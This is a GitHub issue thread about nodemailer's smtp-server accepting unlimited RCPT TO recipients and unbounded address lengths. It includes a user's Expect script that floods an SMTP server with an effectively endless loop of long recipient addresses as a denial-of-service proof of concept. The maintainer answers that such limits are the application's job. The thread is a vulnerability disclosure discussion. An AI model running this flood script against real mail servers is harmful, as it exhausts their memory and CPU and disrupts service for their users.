search

nodemailer / smtp-server

Create custom SMTP servers on the fly
Other
846 stars 145 forks source link

Thoughts on setting a maxRecipients length? e.g. this.session.envelope.rcptTo.length #179

Closed titanism closed 2 years ago

titanism commented 2 years ago

RCPT TO command can take infinite number of recipients, which is a memory DDoS in server applications

titanism commented 2 years ago

Closing as this needs to be patched and all versions need to be deprecated. This is a critical and severe vulnerability affecting all versions of smtp-server.

@andris9 please delete this issue for privacy

titanism commented 2 years ago

I'm going to re-open this. This affects both CPU and memory, which could put load on a server.

#!/usr/bin/expect

spawn telnet localhost 25
expect "220 "

send "HELO world\r"
expect "Nice to meet you"

send "MAIL FROM: <foo@foo.com>\r"
expect "250 Accepted"

for {set x 0} {$x<1000000000000} {incr x} {
  set address "<"
  append address $x
  append address "@"
  append address $x
  append address "c028f40f2f9b18d75a1303a04c25f7aa21c130d85332fc230b4d3d1796d3d4453ea6ccfe8744b807196670846a8f803496b37c087de3d8978497a80dbb55b4f7da74b2695a7de144cbf76593435c8e70e41a817ef68d7562a62cf0280874c1cb524923e645fed2b4a02fd4d4ca9e2da6671cbfc3386c08a4fc31.com>\r"
  send "RCPT TO: $address"
  expect "250 Accepted"
}

send "exit\r"
brew install expect
expect -f test.expect
titanism commented 2 years ago

Also there is no max length check on the RCPT TO mail from, which should be 255 I think according to RFC?

https://github.com/nodemailer/smtp-server/blob/2bd0975292208f1cf77d7a93cb3d8b3c4d48acb8/lib/smtp-connection.js#L1211-L1228

andris9 commented 2 years ago

SMTPServer is a low level protocol handler, it only runs the most basic checks and all the rejection logic is up to the actual application.

For maximum recipients, see how ZoneMTA handles it with SMTPServer: https://github.com/zone-eu/zone-mta/blob/c918ed970ad80f881549cd8e0d40f060302d79df/lib/smtp-interface.js#L178

Also, all address format validation must be handled by the app (check the same linked method).

I have no plans to change this behavior.

titanism commented 2 years ago

Sounds good, and thank you for sharing!